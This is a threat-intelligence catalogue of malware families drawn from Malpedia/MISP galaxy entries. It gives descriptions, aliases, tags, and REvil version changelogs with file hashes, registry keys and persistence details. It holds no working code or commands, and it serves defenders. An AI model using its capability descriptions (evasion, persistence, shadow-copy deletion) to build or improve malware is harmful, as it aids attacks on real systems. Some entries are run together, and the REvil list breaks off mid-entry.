## OLDBAIT

According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28. It targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data. In some places it is mistakenly named "Sasfis", which however seems to be a completely different and unrelated malware family.

## Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

The tag is: *misp-galaxy:malpedia="Orcus RAT"*

Orcus RAT is also known as:

- Schnorchel

## Ordinypt

This malware claims to be a ransomware, but it's actually a wiper. After execution, this malware terminates a number of processes such as database processes, likely to allow access to any files that these programs may have held open. Ordinypt will avoid wiping certain files and folders in order to prevent the infected machine from becoming unusable. Affected files are overwritten with null character and receive a random 5 character file extension. Finally, shadow copies are removed and Windows startup repair is disabled to complicate recovery of data from the affected system. The desktop background is changed and a ransom note is dropped for the victim. A C2 check-in occurs to keep track of the file extension used on that specific machine, as well as which BitCoin address was randomly provided for payment to the victim (drawn from a long list stored in the ransomware configuration).

## PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(\*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.

Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

The tag is: *misp-galaxy:malpedia="PandaBanker"*

PandaBanker is also known as:

- ZeusPanda

# Peepy RAT

Peepy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peepy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peepy may be the automated exfiltration of potentially interesting files and keylogs. Once Peepy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.

## PlugX

RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.

Notable features of this malware family are the ability to execute commands on the affected machine to retrieve: machine information capture the screen send keyboard and mouse events keylogging reboot the system manage processes (create, kill and enumerate) manage services (create, start, stop, etc.); and manage Windows registry entries, open a shell, etc.

The malware also logs its events in a text log file.

The tag is: *misp-galaxy:malpedia="PlugX"*

PlugX is also known as:

- Destroy RAT
- Kaba
- Korplug
- Sogu
- TIGERPLUG

# poisonplug

According to FireEye, POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded C&C commands.

The tag is: *misp-galaxy:malpedia="poisonplug"*

poisonplug is also known as:

- Barlaiy

## Predator The Thief

Predator is a feature-rich information stealer. It is sold on hacking forums as a bundle which includes: Payload builder and Command and Control web panel. It is able to grab passwords from browsers, replace cryptocurrency wallets, and take photos from the web-camera. It is developed by using a modular approach so that criminals may add more sophisticated tools on top of the it.

## pupy (Windows)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (Windows)"*

pupy (Windows) is also known as:

- Patpoopy

## win.purplefox

Purple Fox uses msi.dll function, 'MsiInstallProductA', to download and execute its payload. The payload is a .msi file that contains encrypted shellcode including 32-bit and 64-bit versions. once executed the system will be restarted and uses the 'PendingFileRenameOperations' registry to rename it's components.

Upon restart the rootkit capability of Purple Fox is invoked. It creates a suspended svchost process and injects a DLL that will create a driver with the rootkit capability.

The latest version of Purple Fox abuses open-source code to enable it's rootkit components, which includes hiding and protecting its files and registry entries. It also abuses a file utility software to hide its DLL component, which deters reverse engineering.

The tag is: *misp-galaxy:malpedia="win.purplefox"*

win.purplefox is also known as:

*Table 2305. Table References*

## PwndLocker

PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from \$175k USD to \$650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.

The tag is: *misp-galaxy:malpedia="PwndLocker"*

PwndLocker is also known as:

- ProLock

# PyXie

Full-featured Python RAT compiled into an executable.

PyXie RAT functionality includes: \* Man-in-the-middle (MITM) Interception \* Web-injects \* Keylogging \* Credential harvesting \* Network Scanning \* Cookie theft \* Clearing logs \* Recording video \* Running arbitrary payloads \* Monitoring USB drives and exfiltrating data \* WebDav server \* Socks5 proxy \* Virtual Network Connection (VNC) \* Certificate theft \* Inventorying software \* Enumerating the domain with Sharpshound

The tag is: *misp-galaxy:malpedia="PyXie"*

PyXie is also known as:

- PyXie RAT

# QakBot

QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.

The tag is: *misp-galaxy:malpedia="QakBot"*

QakBot is also known as:

- Pinkslipbot
- Qbot
- Quakbot

## Ragnarok

According to Bleeping Computer, the ransomware is used in targeted attacks against unpatched Citrix servers. It excludes Russian and Chinese targets using the system's Language ID for filtering. It also tries to disable Windows Defender and has a number of UNIX filepath references in its strings. Encryption method is AES using a dynamically generated key, then bundling this key up via RSA.

The tag is: *misp-galaxy:malpedia="Ragnarok"*

Ragnarok is also known as:

## Reaver

Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

## RedLine Stealer

Redline Stealer is a malware available on underground forums for sale apparently as standalone versions or also on a subscription basis. This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of Redliune added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.

The tag is: *misp-galaxy:malpedia="RedLine Stealer"*

## Regin

Regin is a sophisticated malware and hacking toolkit attributed to United States' National Security Agency (NSA) for government spying operations. It was first publicly revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. Regin malware targeted victims in a range of industries, telecom, government, and financial institutions. It was engineered to be modular and

over time dozens of modules have been found and attributed to this family. Symantec observed around 100 infections in 10 different countries across a variety of organisations including private companies, government entities, and research institutes.

# Remcos

Remcos (acronym of Remote Control & Surveillance Software) is a Remote Access Software used to remotely control computers. Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user. Remcos can be used for surveillance and penetration testing purposes, and in some instances has been used in hacking campaigns.

The tag is: *misp-galaxy:malpedia="Remcos"*

Remcos is also known as:

## Retefe (Windows)

Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.

# REvil

REvil            Beta            MD5:            bed6fc04aeb785815744706239a1f243            SHA1:  
3d0649b5f76dbb9f9f86b926afbd18ae028946bf            SHA256:  
3641b09bf6eae22579d4fd5aae420476a134f5948966944189a70afd8032cb45 \* Privilege escalation via  
CVE-2018-8453 (64-bit only) \* Rerun with RunAs to elevate privileges \* Implements a requirement  
that if "exp" is set, privilege escalation must be successful for full execution to occur \* Implements  
target whitelisting using GetKeyboardLayoutList \* Contains debug console logging functionality \*  
Defines the REvil registry root key as SOFTWARE\!test \* Includes two variable placeholders in the  
ransom note: UID & KEY \* Terminates processes specified in the "prc" configuration key prior to  
encryption \* Deletes shadow copies and disables recovery \* Wipes contents of folders specified in  
the "wfld" configuration key prior to encryption \* Encrypts all non-whitelisted files on fixed drives  
\* Encrypts all non-whitelisted files on network mapped drives if it is running with System-level  
privileges or can impersonate the security context of explorer.exe \* Partially implements a  
background image setting to display a basic "Image text" message \* Sends encrypted system data to  
a C2 domain via an HTTPS POST request (URI path building is not implemented.)

```
REvil 1.00
MD5: 65aa793c000762174b2f86077bdafaea
SHA1: 95a21e764ad0c98ea3d034d293aee5511e7c8457
SHA256: f0c60f62ef9ffc044d0b4aeb8cc26b971236f24a2611cb1be09ff4845c3841bc
* Adds 32-bit implementation of CVE-2018-8453 exploit
* Removes console debug logging
* Changes the REvil registry root key to SOFTWARE\recfg
* Removes the System/Impersonation success requirement for encrypting network mapped
drives
* Adds a "wipe" key to the configuration for optional folder wiping
* Fully implements the background image setting and leverages values defined in the
"img" configuration key
* Adds an EXT variable placeholder to the ransom note to support UID, KEY, and EXT
* Implements URI path building so encrypted system data is sent to a C2 pseudo-random
URL
* Fixes the function that returns the victim's username so the correct value is placed
in the stats JSON data
```

REvil            1.01            MD5:            2abff29b4d87f30f011874b6e98959e9            SHA1:  
9d1b61b1cba411ee6d4664ba2561fa59cdb0732c            SHA256:  
a88e2857a2f3922b44247316642f08ba8665185297e3cd958bbd22a83f380feb \* Removes the  
exp/privilege escalation requirement for full execution and encrypts data regardless of privilege  
level \* Makes encryption of network mapped drives optional by adding the "-nolan" argument

REvil 1.02

MD5: 4af953b20f3a1f165e7cf31d6156c035

SHA1: b859de5ffcb90e4ca8e304d81a4f81e8785bb299

SHA256: 89d80016fff4c6600e8dd8cfad1fa6912af4d21c5457b4e9866d1796939b48dc4

- \* Enhances whitelisting validation by adding inspection of GetUserDefaultUILanguage and GetSystemDefaultUILanguage
- \* Partially implements "lock file" logic by generating a lock filename based on the first four bytes of the Base64-decoded pk key, appending a .lock file extension, and adding the filename to the list of whitelisted files in the REvil configuration (It does not appear that this value is referenced after it is created and stored in memory. There is no evidence that a lock file is dropped to disk.)
- \* Enhances folder whitelisting logic that take special considerations if the folder is associated with "program files" directories
- \* Hard-codes whitelisting of all direct content within the Program Files or Program Files x86 directories
- \* Hard-codes whitelisting of "sql" subfolders within program files
- \* Encrypts program files sub-folders that does not contain "sql" in the path
- \* Compares other folders to the list of whitelisted folders specified in the REvil configuration to determine if they are whitelisted
- \* Encodes stored strings used for URI building within the binary and decodes them in memory right before use
- \* Introduces a REvil registry root key "sub\_key" registry value containing the attacker's public key

REvil 1.03 MD5: 3cae02306a95564b1fff4ea45a7dfc00 SHA1: 0ce2cae5287a64138d273007b34933362901783d SHA256:

78fa32f179224c46ae81252c841e75ee4e80b57e6b026d0a05bb07d34ec37bbf \* Removes lock file logic that was partially implemented in 1.02 \* Leverages WMI to continuously monitor for and kill newly launched processes whose names are listed in the prc configuration key (Previous versions performed this action once.) \* Encodes stored shellcode \* Adds the -path argument: \* Does not wipe folders (even if wipe == true) \* Does not set desktop background \* Does not contact the C2 server (even if net == true) \* Encrypts files in the specified folder and drops the ransom note \* Changes the REvil registry root key to SOFTWARE\QtProject\OrganizationDefaults \* Changes registry key values from -> to: \* sub\_key -> pvg \* pk\_key -> sxSP \* sk\_key -> BDDC8 \* 0\_key -> f7gVD7 \* rnd\_ext -> Xu7Nnkd \* stat -> sMMnxpgk

REvil 1.04

MD5: 6e3efb83299d800edf1624ecbc0665e7

SHA1: 0bd22f204c5373f1a22d9a02c59f69f354a2cc0d

SHA256: 2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6

\* Leverages PowerShell and WMI to delete shadow copies if the victim's operating system is newer than Windows XP (For Windows XP or older, it uses the original command that was executed in all previous REvil versions.)

\* Removes the folder wipe capability

\* Changes the REvil registry root key to SOFTWARE\GitForWindows

\* Changes registry key values from --> to:

\* pvq --> QPM

\* sxsP --> cMtS

\* BDDC8 --> WGg7j

\* f7gVD7 --> zbhs8h

\* Xu7Nnkd --> H85TP10

\* sMMnxpgk --> GCZg2PXD

REvil v1.05 MD5: cfefcc2edc5c54c74b76e7d1d29e69b2 SHA1:  
7423c57db390def08154b77e2b5e043d92d320c7 SHA256:  
e430479d1ca03a1bc5414e28f6cddb301939c4c95547492cdbe27b0a123344ea \* Add new 'arn'  
configuration key that contains a boolean true/false value that controls whether or not to  
implement persistence. \* Implements persistence functionality via registry Run key. Data for value  
is set to the full path and filename of the currently running executable. The executable is never  
moved into any 'working directory' such as %AppData% or %TEMP% as part of the persistence  
setup. The Reg Value used is the hardcoded value of 'INOWZyAWVv' : \*  
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\INOWZyAWVv \* Before exiting, REvil sets up  
its malicious executable to be deleted upon reboot by issuing a call to MoveFileExW and setting the  
destination to NULL and the flags to 4 (MOVEFILE\_DELAY\_UNTIL\_REBOOT). This breaks persistence  
however as the target executable specified in the Run key will no longer exist once this is done. \*  
Changes registry key values from -> to: \* QPM -> tgE \* cMtS -> 8K09 \* WGg7j -> xMtNc \* zbhs8h  
-> CTgE4a \* H85TP10 -> oE5bZg0 \* GCZg2PXD -> DC408Qp4

REvil v1.06

MD5: 65ff37973426c09b9ff95f354e62959e

SHA1: b53bc09cfbd292af7b3609734a99d101bd24d77e

SHA256: 0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e

\* Updated string decoding function to break existing yara rules. Likely the result of the blog posted by us.

\* Modified handling of network file encryption. Now explicitly passes every possible "Scope" constant to the WNetOpenEnum function when looking for files to encrypt. It also changed the "Resource Type" from RESOURCE\_TYPE\_DISK to RESOURCE\_TYPE\_ANY which will now include things like mapped printers.

\* Persistence registry value changed from 'lNOWZyAWVv' to 'sNpEShi30R'

\* Changes registry key values from --> to:

\* tgE --> 73g

\* 8K09 --> vTGj

\* xMtNc --> Q7PZe

\* CTgE4a --> BuCrIp

\* oE5bZg0 --> lcZd70Y

\* DC408Qp4 --> sLF86MWC

REvil v1.07 MD5: ea4cae3d6d8150215a4d90593a4c30f2 SHA1:

## RMS

CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.

The tag is: *misp-galaxy:malpedia="RMS"*

RMS is also known as:

- Gussdoor
- Remote Manipulator System

## RoyalCli

RoyalCli is a backdoor which appears to be an evolution of BS2005 and uses familiar encryption and encoding routines. The name RoyalCli was chosen by us due to a debugging path left in the binary. RoyalCli and BS2005 both communicate with the attacker's command and control (C2) through Internet Explorer (IE) by using the COM interface IWebBrowser2.

The tag is: *misp-galaxy:malpedia="RoyalCli"*

RoyalCli is also known as:

# RTM

RTM Banker also known as Redaman was first blogged about in February 2017 by ESET. The malware is written in Delphi and shows some similarities (like process list) with Buhtrap. It uses a slightly modified version of RC4 to encrypt its strings, network data, configuration and modules, according to ESET.

The tag is: *misp-galaxy:malpedia="RTM"*

RTM is also known as:

- Redaman

## Ryuk

Ryuk is a ransomware which encrypts its victim's files and asks for a ransom via bitcoin to release the original files. It is has been observed being used to attack companies or professional

environments. Cybersecurity experts figured out that Ryuk and Hermes ransomware shares pieces of codes. Hermes is commodity ransomware that has been observed for sale on dark-net forums and used by multiple threat actors.

The tag is: *misp-galaxy:malpedia="Ryuk"*

Ryuk is also known as:

## ServHelper

ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.

ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."

The tag is: *misp-galaxy:malpedia="ServHelper"*

ServHelper is also known as:

## SharpStage

The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called "Stage\_One". SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east.

## SmokeLoader

The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.

The tag is: *misp-galaxy:malpedia="SmokeLoader"*

SmokeLoader is also known as:

- Dofail
- Sharik

## Snake Ransomware

Snake Ransomware is a Golang ransomware reportedly containing obfuscation not typically seen in Golang ransomware. This malware will remove shadow copies and kill processes related to SCADA/ICS devices, virtual machines, remote management tools, network management software, and others. After this, encryption of files on the device commences, while skipping Windows system folders and various system files. A random 5 character string is appended to encrypted files. According to Bleeping Computer, this ransomware takes an especially long time to encrypt files on a targeted machine. This ransomware is reported to target an entire network, rather than individual workstations.

## Snatch

Snatch is a ransomware which infects victims by rebooting the PC into Safe Mode. Most of the existing security protections do not run in Safe Mode so that it the malware can act without expected countermeasures and it can encrypt as many files as it finds. It uses common packers such as UPX to hide its payload.

The tag is: *misp-galaxy:malpedia="Snatch"*

Snatch is also known as:

## SPACESHIP

SPACESHIP searches for files with a specified set of file extensions and copies them to a removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive, which could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is then used to steal documents from the air-gapped system, copying them to a removable drive inserted into the SPACESHIP-infected system

# SpyEye

SpyEye is a malware targeting both Microsoft Windows browsers and Apple iOS Safari. Originated in Russia, it was available in dark forums for \$500+ claiming to be the "The Next Zeus Malware". It performed many functionalities typical from bankers trojan such as keyloggers, auto-fill credit card modules, email backups, config files (encrypted), http access, Pop3 grabbers and FTP grabbers. SpyEye allowed hackers to steal money from online bank accounts and initiate transactions even while valid users are logged into their bank account.

# STOP Ransomware

STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.

The tag is: *misp-galaxy:malpedia="STOP Ransomware"*

STOP Ransomware is also known as:

- Djvu
- KeyPass

# SUNBURST

FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanized updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.

# Syscon

SYSCON is a Remote Access Trojan used in a targeted champing against US government agencies. It has been recently observed in conjunction with CARROTBAT and CARROTBALL downloaders and it uses the File Transfer Protocol as Command and Control channel. Use of the family is attributed by Unit 42 to the Konni Group.

## Sysraw Stealer

Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to /WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[-+].dat" and POSTs them.

# Taurus Stealer

According to Zscaler, Taurus is a stealer that surfaced in June 2020. It is being developed by the author(s) that previously created Predator the Thief. The name overlaps partly with the StealerOne / Terra\* family (also aliased Taurus Loader) but appears to be a completely disjunct project.

The tag is: *misp-galaxy:malpedia="Taurus Stealer"*

## TeamBot

Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the

popular remote access and desktop sharing software, to gain full control of the infected computer. This is achieved by sideloading another DLL among the legit TeamViewer.

The tag is: *misp-galaxy:malpedia="TeamBot"*

TeamBot is also known as:

## TEARDROP

TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious\_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.

## TFlower Ransomware

TFlower is a new ransomware targeting mostly corporate networks discovered in August, 2019. It is

reportedly installed on networks by attackers after they gain access via RDP. TFlower displays a console showing activity being performed by the ransomware when it encrypts a machine, further indicating that this ransomware is triggered by the attacker post compromise, similar to Samsam/Samas in terms of TTP. Once encryption is started, the ransomware will conduct a status report to an apparently hard-coded C2. Shadow copies are deleted and the Windows 10 repair environment is disabled by this ransomware. This malware also will terminate any running Outlook.exe process so that the mail files can be encrypted. This ransomware does not add an extension to encrypted files, but prepends the marker "\*tflower" and what may be the encrypted encryption key for the file to each affected file. Once encryption is completed, another status report is sent to the C2 server.

## TinyNuke

TinyNuke (aka Nuclear Bot) is a fully-fledged banking trojan including HiddenDesktop/VNC server and a reverse socks4 server. It was for sale on underground marketplaces for \$2500 in 2016. The program's author claimed the malware was written from scratch, but that it functioned similarly to the Zeus banking trojan in that it could steal passwords and inject arbitrary content when victims visited banking Web sites. However, he then proceeded to destroy his own reputation on hacker forums by promoting his development too aggressively. As a displacement activity, he published his source code on Github. XBot is an off-spring of TinyNuke, but very similar to its ancestor.

The tag is: *misp-galaxy:malpedia="TinyNuke"*

TinyNuke is also known as:

- MicroBankingTrojan
- Nuclear Bot

- NukeBot
- Xbot

## USBCulprit

According to Kaspersky, USBCulprit is a malware that is capable of scanning various paths in victim machines, collecting documents with particular extensions and passing them on to USB drives when they are connected to the system. It can also selectively copy itself to a removable drive in the presence of a particular file, suggesting it can be spread laterally by having designated drives infected and the executable in them opened manually.

The tag is: *misp-galaxy:malpedia="USBCulprit"*

USBCulprit is also known as:

## vanillarat

Description:

VanillaRat is an advanced remote administration tool coded in C#. VanillaRat uses the Telepathy TCP networking library, dnlib module reading and writing library, and Costura.Fody dll embedding library. Features:

Remote Desktop Viewer (With remote click)  
File Browser (Including downloading, drag and drop uploading, and file opening)  
Process Manager  
Computer Information  
Hardware Usage Information (CPU usage, disk usage, available ram)  
Message Box Sender  
Text To Speech  
Screen Locker  
Live Keylogger (Also shows current window)  
Website Opener  
Application Permission Raiser (Normal -> Admin)  
Clipboard Text (Copied text)  
Chat (Does not allow for client to close form)  
Audio Recorder (Microphone)  
Process Killer (Task manager, etc.)  
Remote Shell  
Startup  
Security Blacklist (Drag client into list if you don't want connection. Press del. key on client to remove from list)

## Varenyky

In May 2019, ESET researchers observed a spike in ESET telemetry data regarding malware targeting France. After further investigations, they identified malware that distributes various types of spam. One of them is leading to a survey that redirects to a dodgy smartphone promotion while the other is a sextortion campaign. The spam targets the users of Orange S.A., a French ISP.

The tag is: *misp-galaxy:malpedia="Varenyky"*

## WastedLocker

WastedLocker is a ransomware detected to be in use since May 2020 by EvilCorp. The ransomware name is derived from the filename that it creates which includes an abbreviation of the victim's name and the string 'wasted'. WastedLocker is protected with a custom crypter, referred to as CryptOne by Fox-IT InTELL. On examination, this crypter turned out to be very basic and was used also by other malware families such as: Netwalker, Gozi ISFB v3, ZLoader and Smokeloader. The crypter mainly contains junk code to increase entropy of the sample and hide the actual code.

The tag is: *misp-galaxy:malpedia="WastedLocker"*

## WebMonitor RAT

On its website, Webmonitor RAT is described as 'a very powerful, user-friendly, easy-to-setup and state-of-the-art monitoring tool. Webmonitor is a fully native RAT, meaning it will run on all Windows versions and languages starting from Windows XP and up, and perfectly compatible with all crypters and protectors.' Unit42 notes in their analysis that it is offered as C2-as-a-service and raises the controversial aspect that the builder allows to create client binaries that will not show any popup or dialogue during installation or while running on a target system.

The tag is: *misp-galaxy:malpedia="WebMonitor RAT"*

WebMonitor RAT is also known as:

- RevCode

## WellMess

WellMess is A Remote Access Trojan written in GoLang and .NET. It has hard-coded User-Agents. Attackers deploy WellMess using separate tools which also allow lateral movement, for example "gost". Command and Control traffic is handled via HTTP using the Set-Cookie field and message body.

The tag is: *misp-galaxy:malpedia="WellMess"*

WellMess is also known as:

## WhiteBird

According to Dr.Web, WhiteBird is a backdoor written in C++ and designed to operate in both 32-bit and 64-bit Microsoft Windows operating systems. The configuration is encrypted with a single byte XOR key. An interesting feature is that the malware can be restricted to operate only within certain "working\_hours" with a granularity of one minute.

The tag is: *misp-galaxy:malpedia="WhiteBird"*

## XDSpy

According to ESET Research, XDDown is a primary malware component and is strictly a downloader. It persists on the system using the traditional Run key. It downloads additional plugins from the hardcoded C&C server using the HTTP protocol. The HTTP replies contain PE binaries encrypted with a hardcoded two-byte XOR key. Plugins include a module for reconnaissance on the affected system, crawling drives, file exfiltration, SSID gathering, and grabbing saved passwords.

## Xwo

In March 2019, AT&T Alien Labs identified a new malware family that is actively scanning for exposed web services and default passwords. Based on our findings we are calling it “Xwo” - taken

from its primary module name. It is likely related to the previously reported malware families Xbash and MongoLock.

## Yarraq Ransomware

Yarraq is a ransomware that encrypts files by using asymmetric keys and adding '.yarraq' as extension to the end of filenames. At the time of writing the attacker asks for \$2000 ransom in order to provide a decryptor, to enable victims to restore their original files back. To communicate with the attacker the email: [cyborgyarraq@protonmail.ch](mailto:cyborgyarraq@protonmail.ch) is provided.

# YoungLotus

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

## Zacinlo

Bitdefender describes the primary features of the family as follows: Presence of a rootkit driver that protects itself as well as its other components, presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications, and presence of an adware cleanup routine used to remove potential competition in the adware space. It also communicates with its C&C server, sending environment information such as installed AV and other applications. The malware also takes screenshots and does browser redirects, potentially manipulating the DOM tree. It also creates traffic in hidden windows, likely causing adfraud. The malware is generally very configurable and internally makes use of Lua scripts.

## Zeppelin Ransomware

Zeppelin is a ransomware written in Delphi and sold as a service. The Cylance research team notes that it is a clear evolution of the known VegaLocker, but they assessed it as a new family because of additionally developed modules that makes Zeppelin much more configurable than VegaLocker. There are executable variants of type DLL and EXE.

# ZeroCleare

ZeroCleare is a destructive malware. It has been developed in order to wipe the master boot record section in order to damage a disk's partitioning. Attackers use the EldoS RawDisk driver to perform the malicious action, which is not a signed driver and would therefore not be runnable by default. The attackers managed to install it by using a vulnerable version of VBoxDrv driver, which the DSE accepts and runs. Used to attack middle-east energy and industrial sectors.

## ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs\_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze\_core.DLL (Mutex) and ze\_autorun.DLL (Run-Key).

## Zeus OpenSSL

This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.

In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.

Please note that IBM X-Force decided to call win.zloader/win.zeus\_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus\_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus

Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

